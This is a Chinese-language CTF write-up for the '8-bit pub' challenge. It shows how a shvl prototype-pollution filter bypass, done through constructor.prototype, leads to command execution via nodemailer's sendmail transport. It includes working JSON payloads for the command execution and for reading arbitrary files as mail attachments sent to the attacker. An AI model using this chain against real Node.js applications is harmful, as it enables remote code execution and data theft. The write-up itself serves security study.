AntCTF 8-bit pub复现

环境搭建

题目环境:https://github.com/crumbledwall/CTFChallenges/tree/main/D3CTF2021/8-bit_pub
需要更改下邮件配置

接着docker启动即可

题目复现

访问题目,注册登陆后发现存在着admin的功能并且访问不了,目的很明确,这里我们需要以admin的身份登陆,官方wp中给了很好的解释

以admin身份登陆后,会解锁一个发送邮件的功能,查看admin部分的功能代码

该处引入了最新版本的shvl库,在上一个版本中可以看到存在原型链污染漏洞

查看一下修复的代码

__proto__进行了过滤操作,在这里依然可以使用constructor.prototype来污染Object,测试如下

回到题目,adminController.js中的如下代码正好符合条件

1
2
3
Object.keys(req.body).forEach((key) => {
shvl.set(contents, key, req.body[key]);
});

接着需要寻找潜在的RCE功能点,尝试全局搜索child_process,发现node_modules/nodemailer/lib/sendmail-transport/index.js中存在着符合条件的代码

接着来看一下this.pathargs是怎么来的

跟进一下发送邮件的代码

想要到达命令执行的点我们需要控制options.sendmail为1,同时控制options.pathoptions.args的值,尝试用如下代码调试一下

1
2
3
4
5
6
7
8
9
const send = require("./utils/mail");

let contents = {};
let payload = {"constructor.prototype.sendmail":"1", "constructor.prototype.path":"bash", "constructor.prototype.args":["-c","/readflag>/tmp/test.txt"]};
Object.keys(payload).forEach((key) => {
shvl.set(contents, key, payload[key]);
});
let test = {}
send('test_send')

是可以成功执行的,不过到靶机上似乎没有bash,使用sh进行执行
首先污染原型,将flag写入tmp下

1
{"to":"xxx@qq.com","subject":"hello","text":"world","constructor.prototype.sendmail":"1", "constructor.prototype.path":"sh", "constructor.prototype.args":["-c","/readflag>/tmp/test.txt"]}

接着查看nodemailer的文档发现使用attachments 可以进行任意文件读取
https://nodemailer.com/message/attachments/

构造如下payload将flag发送到自己邮箱中

1
{"to":"xxx@qq.com","subject":"hello","text":"world","attachments":{"filename":"text3.txt","path":"/tmp/test.txt"}}

成功获取flag